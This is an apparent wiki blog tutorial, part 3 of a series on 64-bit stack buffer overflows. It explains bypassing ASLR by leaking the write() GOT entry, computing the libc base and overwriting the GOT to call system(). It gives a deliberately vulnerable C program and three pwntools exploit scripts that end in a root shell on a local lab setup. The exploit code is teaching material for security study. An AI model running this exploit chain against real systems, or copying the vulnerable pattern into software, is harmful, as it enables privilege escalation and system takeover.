You've loaded an old revision of the document! If you save it, you will create a new version with this data. Media Files{{tag>english Linux kali it-security blog pentest}} ====== Buffer overflow in the 64-bit stack - Part 3 ====== In [[en:it-security:blog:buffer_overflow_x64-2|Part 2]] we used the string ''/bin/zsh'' to the function ''System()'' function to open a root shell. To do this, however, we had to deactivate ASLR - ASLR changes function addresses every time the programme is restarted. Superkojiman describes in detail [[https://blog.techorganic.com|in his Blog]] how to circumvent this protection. But first we have to visualise a few things The third part of the Buffer Overflow series. \\ \\ ===== Introduction ===== {{page>en:vorlagen:64_bit_stack_nav}} ==== Theory ==== {{it-security:blog:bof-part3-header.jpg?500 |}} In Linux systems, dynamic programme libraries are usually used. This has the advantage that we do not have to rewrite every function in every programme, but can simply access the function of the system, which, for example, is stored in ''libc'' for example. If ASLR is now activated, the addresses are changed each time the programme is started. === PLT and GOT === PLT (Procedure Linkage Table) and GOT (Global Offset Table) are responsible for the interaction during dynamic linking. The function ''write()'' function does not point to the actual function when called, but to ''write@plt''. The GOT entry for the function is then requested from the PLT. The GOT now contains all ''libc'' addresses and PLT redirects the execution to them. If the address does not yet exist, ''ld.so'' searches for it and saves it in the GOT. We can now utilise this principle.((https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)) === Leak and Overwrite === To get to our root shell, we now have to do the following: - We leak the GOT entry for the function ''write()'' - We need the base address for ''libc''to be able to calculate the addresses of other functions. The ''libc''-base address is the difference between the address of ''memset()'' and the ''write()''-offset from ''libc.so.6'' - We obtain the address of a library function by calling the respective ''libc.so.6''offset with the ''libc''-base address - In the GOT, we overwrite an address with the one from ''system()''so that we can issue a system command when calling the function <code gdb> [-------------------------------------code-------------------------------------] 0x4011de <vuln+109>: lea rax,[rbp-0xa0] 0x4011e5 <vuln+116>: mov rsi,rax 0x4011e8 <vuln+119>: mov edi,0x1 => 0x4011ed <vuln+124>: call 0x401030 <write@plt> 0x4011f2 <vuln+129>: mov eax,0x0 0x4011f7 <vuln+134>: leave </code> \\ \\ ===== Dependencies ===== * socat mod [[gh>andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat]] * pwntools ((https://docs.pwntools.com/en/stable/install.html)) <code bash> python3 -m pip install --upgrade pip python3 -m pip install --upgrade pwntools </code> \\ \\ ==== C Programme ==== The source code and the compiled binary are also available on [[gh>psycore8/nosoc-bof/tree/main/part-3|Github]]. <file c bof-part3.c> /* Code https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/ */ /* Compile: gcc -fno-stack-protector -no-pie bof-part3.c -o bof-part3 */ /* Enable ASLR: echo 2 > /proc/sys/kernel/randomize_va_space */ #include <stdio.h> #include <string.h> #include <unistd.h> void helper() { asm("pop %rdi; pop %rsi; pop %rdx; ret"); } int vuln() { char buf[150]; ssize_t b; memset(buf, 0, 150); printf("Enter input: "); b = read(0, buf, 400); printf("Recv: "); write(1, buf, b); return 0; } int main(int argc, char *argv[]){ setbuf(stdout, 0); vuln(); return 0; } </file> \\ \\ ===== Debug ===== {{page>en:vorlagen:attention}} ==== Start socat Listener ==== The supplied socat has mechanisms to protect the memory. There is a modified version on Github in the Dependencies section. <code bash> /dir/to/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3 </code> \\ \\ ==== GOT address from write ==== We check where the path to the ''libc'' is: <code bash> ldd bof-part3 linux-vdso.so.1 (0x00007ffe5d956000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f53c7dd7000) /lib64/ld-linux-x86-64.so.2 (0x00007f53c7fd2000) </code> We then find the offset for ''write()'' function: <code bash> readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep write 2839: 00000000000f7af0 157 FUNC WEAK DEFAULT 16 write@@GLIBC_2.2.5 </code> \\ \\ ==== Breakpoint for write ==== We now have to find out at which point ''write()'' is called. <code gdb> 0x4011e8 <vuln+119>: mov edi,0x1 => 0x4011ed <vuln+124>: call 0x401030 <write@plt> 0x4011f2 <vuln+129>: mov eax,0x0 </code> The call is made at ''0x4011ed'' and we set our breakpoint here. <code bash> echo "br *0x4011ed" >> ~/.gdbinit </code> \\ \\ ==== attach gdb to socat ==== <code bash> gdb -q -p `pidof socat` Breakpoint 1 at 0x4011ed Attaching to process 111187 </code> \\ \\ ==== Connection with port 2323 ==== We connect with nc and trigger the breakpoint. <code bash> nc localhost 2323 Enter input: 123 Recv: 123 </code> \\ \\ ==== Search for write GOT ==== Once our breakpoint is reached, we search for the ''write'' GOT address <code gdb> gdb-peda$ x/gx 0x404000 0x404000 <write@got.plt>: 0x0000000000401036 gdb-peda$ x/5i 0x0000000000401036 0x401036 <write@plt+6>: push 0x0 0x40103b <write@plt+11>: jmp 0x401020 0x401040 <setbuf@plt>: jmp QWORD PTR [rip+0x2fc2] # 0x404008 <setbuf@got.plt> 0x401046 <setbuf@plt+6>: push 0x1 0x40104b <setbuf@plt+11>: jmp 0x401020 </code> We go one step further without jumping into the function. Then we search again. <code gdb> next gdb-peda$ x/gx 0x404000 0x404000 <write@got.plt>: 0x00007f559dd76af0 gdb-peda$ x/5i 0x00007f559dd76af0 0x7f559dd76af0 <__GI___libc_write>: cmp BYTE PTR [rip+0xe3ae1],0x0 # 0x7f559de5a5d8 <__libc_single_threaded> 0x7f559dd76af7 <__GI___libc_write+7>: je 0x7f559dd76b10 <__GI___libc_write+32> 0x7f559dd76af9 <__GI___libc_write+9>: mov eax,0x1 0x7f559dd76afe <__GI___libc_write+14>: syscall 0x7f559dd76b00 <__GI___libc_write+16>: cmp rax,0xfffffffffffff000 </code> At this point, the address points to ''write()'' \\ \\ ===== Exploit ===== ==== Stage 1: write address ==== So let's write a first exploit to ''write()'' to leak. <file python buf3-stage1.py> #!/usr/bin/env python from pwn import * pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget bin=ELF("./bof-part3") s=remote("127.0.0.1",2323) s.recvuntil(b": ") buf = b"A"*168 # RIP Offset buf += p64(pop3ret) # POP Argumente buf += p64(constants.STDOUT_FILENO) # stdout buf += p64(bin.got[b'write']) # lese von write@got buf += p64(0x8) # schreibe 8 bytes in stdout buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt buf += b'EOPAY' # Ende des Payloads print("[+] send payload") s.send(buf) # buf überschreibt RIP s.recvuntil(b'EOPAY') # Empfange Daten bis EOPAY print("[+] recvd \'EOPAY\'") got_leak=u64(s.recv(8)) print("[+] leaked write address: {}".format(hex(got_leak))) </file> We run the whole thing and get the following output <code bash> [+] Opening connection to 127.0.0.1 on port 2323: Done [+] send payload [+] recvd 'EOPAY' [+] leaked write address: 0x7f6805548e80 [*] Closed connection to 127.0.0.1 port 2323 </code> The first address has been leaked. ==== Stage 2 - libc Base and system ==== Now we need the libc base address and the address of ''system()''. We calculate these as follows: * $base(libc) = got(write) - offset(write)$ * $address(system) = base(libc) + offset(system)$ We get the offset address like this: <code bash> ┌──(kali㉿kali)-[~/repo] └─$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system 1022: 000000000004c920 45 FUNC WEAK DEFAULT 16 system@@GLIBC_2.2.5 </code> So we revise our exploit: <file python buf3-stage2.py> #!/usr/bin/env python from pwn import * pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget gadget write_off = 0x0f7af0 system_off = 0x04c920 bin=ELF("./bof-part3") s=remote("127.0.0.1",2323) s.recvuntil(b": ") buf = b"A"*168 # RIP offset buf += p64(pop3ret) # POP Argumente buf += p64(constants.STDOUT_FILENO) # stdout buf += p64(bin.got[b'write']) # lese von write@got buf += p64(0x8) # schreibe 8 bytes in stdout buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt buf += b'EOPAY' # Ende des Payloads print("[+] send payload") s.send(buf) s.recvuntil(b'EOPAY') print("[+] recvd \'EOPAY\'") got_leak=u64(s.recv(8)) print("[+] leaked write address: {}".format(hex(got_leak))) libc_base = got_leak - write_off # Berechne libc Basis print("[+] libc base is at", hex(libc_base) ) system_addr = libc_base + system_off # Berechne system Adresse print("[+] system() is at", hex(system_addr) ) </file> And now let's look at the output: <code bash> [+] Opening connection to 127.0.0.1 on port 2323: Done [+] send payload [+] recvd 'EOPAY' [+] leaked write address: 0x7f73dc1c7e80 [+] libc base is at 0x7f73dc12c340 [+] system() is at 0x7f73dc178c60 [*] Closed connection to 127.0.0.1 port 2323 </code> \\ \\ ==== Stage 3 - Overwrite address and execute code ==== For the last section, we need a writable memory area. To do this, we list the memory allocations in gdb. <code gdb> gdb-peda$ info proc mappings process 105836 Mapped address spaces: Start Addr End Addr Size Offset Perms objfile 0x400000 0x401000 0x1000 0x0 r--p /home/kali/repo/bof-part3 0x401000 0x402000 0x1000 0x1000 r-xp /home/kali/repo/bof-part3 0x402000 0x403000 0x1000 0x2000 r--p /home/kali/repo/bof-part3 0x403000 0x404000 0x1000 0x2000 r--p /home/kali/repo/bof-part3 0x404000 0x405000 0x1000 0x3000 rw-p /home/kali/repo/bof-part3 0x7f0f6fb35000 0x7f0f6fb38000 0x3000 0x0 rw-p </code> The range 0x404000 - 0x405000 is writable and static. Let's take a closer look at this. <code gdb> gdb-peda$ x/30i 0x404000 ... 0x404027 <read@got.plt+7>: add BYTE PTR [rax],al 0x404029: add BYTE PTR [rax],al 0x40402b: add BYTE PTR [rax],al ... </code> 0x404029 should be perfect for our purpose. <file python buf3-stage3.py> #!/usr/bin/env python from pwn import * pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget write_off = 0x0f7af0 system_off = 0x04c920 writable = 0x404029 bin=ELF("./bof-part3") s=remote("127.0.0.1",2323) s.recvuntil(b": ") buf = b"A"*168 # padding to RIP's offset buf += p64(pop3ret) # POP Argumente buf += p64(constants.STDOUT_FILENO) # stdout buf += p64(bin.got[b'write']) # lese von write@got buf += p64(0x8) # schreibe 8 bytes in stdout buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt # Teil 2: schreibe system Adresse in write got mittels read buf+=p64(pop3ret) buf+=p64(constants.STDIN_FILENO) buf+=p64(bin.got[b'write']) #write@got buf+=p64(0x8) buf+=p64(bin.plt[b'read']) #read@plt # Teil 3: schreibe /bin/sh in beschreibbare Adresse buf+=p64(pop3ret) buf+=p64(constants.STDIN_FILENO) buf+=p64(writable) buf+=p64(0x8) buf+=p64(bin.plt[b'read']) # Teil 4: rufe system auf buf+=p64(pop3ret) buf+=p64(writable) buf+=p64(0xdeadbeef) buf+=p64(0xcafebabe) buf+=p64(bin.plt[b'write']) buf += b'EOPAY' print("[+] send payload") s.send(buf) # buf überschreibt RIP s.recvuntil(b'EOPAY') print("[+] recvd \'EOPAY\'") got_leak=u64(s.recv(8)) print("[+] leaked write address: {}".format(hex(got_leak))) #s2 libc_base=got_leak-write_off print(hex(lib.symbols[b'write'])) print("[+] libc base is at {}".format(hex(libc_base))) system_addr=libc_base+system_off print(hex(lib.symbols[b'system'])) print("[+] system() is at {}".format(hex(system_addr))) #part 2 print("[+] sending system() address") s.send(p64(system_addr)) #part 3 print("[+] sending /bin/zsh") s.send(b'/bin/zsh') #part 4 print("[+] trying shell") s.interactive() </file> \\ \\ ==== Optimisations ==== The exploit with further pwntools optimisations and automated socat start can be found in the [[gh>psycore8/nosoc-bof/tree/main/part-3|Github repository]]. The exploit was originally written by [[https://stackoverflow.com/users/8786498/zapho-oxx|Zopho Oxx]] ((https://stackoverflow.com/a/48571747)) \\ \\ ==== root shell ==== We start socat and bof-part3 as root <code bash> su root ┌──(root㉿kali)-[/home/kali/repo] └─# /home/kali/repo/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3 </code> and then the exploit as an unprivileged user <code bash> ┌──(kali㉿kali)-[~/repo] └─$ python3 buffer3.py </code> We get our root shell and have control over the system. {{it-security:blog:bof-dism3-1.png?500|}} \\ \\ ===== Repository ===== ^ Project files | {{ it-security:nosoc-repo-bof-part3.zip |}}<label type="info" icon="glyphicon glyphicon-compressed">ZIP</label> | ^ Size | 9.93 KB | ^ Prüfsumme (SHA256) | d1212026504c7a90680e3f1e430244734695971c73f1461bed12605644c707d8 | ===== References ===== * [[https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/]] ~~DISCUSSION:closed~~Please solve the following equation to prove you're human. 193 +7 = Please keep this field empty: SavePreviewCancel Edit summary Note: By editing this page you agree to license your content under the following license: CC Attribution-Noncommercial-Share Alike 4.0 International